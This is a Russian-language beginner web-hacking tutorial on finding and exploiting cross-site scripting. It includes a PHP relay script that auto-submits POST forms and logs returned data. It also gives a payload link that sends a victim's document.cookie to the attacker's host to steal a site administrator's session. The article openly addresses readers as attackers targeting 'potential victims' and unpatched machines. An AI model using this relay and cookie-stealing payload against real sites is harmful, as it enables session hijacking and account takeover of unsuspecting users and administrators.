• Поиск
  • Кодер HEX
  • Чекер proxy
  • CSRF/XSS форма

ЦИКЛЫ СТАТЕЙ:

  • 4. SHELL
  • 4.1. ANDROID SHELL
  • 4.2. WINDOWS. КОМАНДНАЯ СТРОКА
  • 4.3. LINUX. UNIX SHELL
  • 4.4. SHELL НЕ БЕЗ METASPLOIT
  • 4.5. WEB SHELL

XSS НА ОЩУПЬ

Если ты ничего не знаешь о взломе сайтов, то лучше всего начать с поиска XSS. Это уже не самая распространённая проблема в интернете, но она всё равно существует, потому что сайты пишутся «руками». Как искать, как пользоваться и что можно с её помощью сделать будет рассказано в этой статье.

ЦИКЛ СТАТЕЙ WEBHACK

  1. XSS НА ОЩУПЬ
  2. WEB-ФИШИНГ
  3. ВМЕШИВАЕМСЯ В PHP
  4. SQL-ИНЪЕКЦИИ
  5. BURP SUITE

ТЕОРИЯ

Тут надо отдать должное людям работающим над статьёй на Wikipedia, потому что она более чем исчерпывающая. Рекомендую к прочтению — Межсайтовый скриптинг. Но я понимаю, что тебе нужна вступительная краткая информация с практикой и простым языком.

XSS (межсайтовый скриптинг) — это уязвимость, с помощью которой можно на стороннем сайте исполнять свой код. Другими словами это то, что ты введёшь в адресную строку или поле на сайте и отправишь — оно отобразится в html коде.

Немного о методах GET и POST:

  • GET-запрос.
    Для начала — это то, что отображается в адресной строке после знака ? — пример: index.php?key=value. Что важно — он имеет ограничение на длину строки. В основном используется, чтобы можно было скопировать ссылку на определённую страницу статьи, поста или товара. Его легко использовать и отправлять скрытые запросы.
  • POST-запрос.
    Используется для передачи не публичной информации (логин и пароль), либо для передачи больших данных. Существенное отличие POST-запроса от GET-запроса — его нельзя отправить незаметно для пользователя. Об этом можешь прочитать в статье о подделке межсайтовых запросов CSRF.

Внимание! Чтобы повторить действия нужен хостинг с php и FTP-клиент!

ПРАКТИКА

Как это происходит? Для примера зайдём на кодер для адресной строки на нашем сайте и вставим в поле ввода текста этот скрипт:

1
<script>alert('XSS');</script>

Скрипт отработает, а это значит, что поле не фильтрует опасные символы. XSS найдена! Если ты воспользуешься функцией браузера «Посмотреть код/Исследовать элемент» нажав на строку с текстом Decoder, то увидишь, что отправленный скрипт там есть. Правда из адресной строки XSS исполнить не получится, потому что форма отправляет post-запрос, но это далеко не проблема. Чтобы раскрутить нам нужно сделать форму-переходник с get на post. Создадим файл resend.php и добавим в него код:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
// Заголовки для получения ответа с XSS
// Без этого ты упрёшься в CORS - подробнее в статье о CSRF
header('Content-Type: application/json; charset=UTF-8');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS, REQUEST');
header('Access-Control-Allow-Headers: Content-Type');
header('Access-Control-Allow-Credentials: true');
// Получение ответа с XSS и запись в log-файл
if ( isset($_GET['response']) ) {
  $file = fopen('log.txt',a);
  fwrite($file,$_GET['response']);
  fclose($file);
}

// Получаем данные в переменные
$url = $_GET['url'];
$none = $_GET['name1'];
$vone = $_GET['value1'];
$ntwo = $_GET['name2'];
$vtwo = $_GET['value2'];
// Ниже в html вставляем переменные
// и отправляем форму с помощью JavaScript:
?>
<form action="<?php print($url); ?>" method="post"><input name="<?php print($none); ?>" type="text" value="<?php print($vone); ?>" />
<input name="<?php print($ntwo); ?>" type="text" value="<?php print($vtwo); ?>" />
<input id="form" type="submit" /></form>
<script>document.getElementById("form").click();</script>

Закидываем файл resend.php на хостинг и выполняем в адресной строке:

1
http://твойхостинг/resend.php?url=http://h0stname.cf/code/coder.php?name1=text&value1=<script>alert('XSS');</script>

Это значит, что теперь ты можешь через свой сайт отправлять POST-запросы к другим сайтам из адресной строки. Другими словами в случае с GET мы могли бы просто отправить потенциальной жертве ядовитую ссылку на легитимный сайт, но в случае с методом POST мы делаем это через посредника. Это, кстати, подделка межсайтовых запросов (автоотправка формы) с последующим выполнением XSS на легитимном сайте.

Идём дальше. Если мы знаем цель и уязвимое место на странице, то мы можем получить cookie админа именно этого сайта, если он перейдёт по этой ссылке:

1
http://твойхост/resend.php?url=http://h0stname.cf/code/coder.php?name1=text&value1=<script>new Image().src = 'http://твойхост/resend.php?response='+document.cookie</script>

Я рекомендую вставлять скрипт упомянутый выше во все поля, потому что иногда встречаются случаи, что выводимая информация из адресной строки может быть скрыта в теле html с помощью стилей. Чаще всего раньше можно было найти XSS в поле «Результаты поиска по запросу: …».

А закончу я на том, что сейчас уже нельзя вставлять скрипты и meta тег на редирект в Google Chrome. Он выдаёт страницу как небезопасную и ошибку по XSS. Скоро это коснётся и остальных браузеров. Не стоит забывать, что ещё есть конторы, которые используют WindowsXP и поддержка софта уже закончена, а это значит, что есть те, у кого скрипты будут работать. А в нашем случае главное, что можно использовать ссылки.

Автор: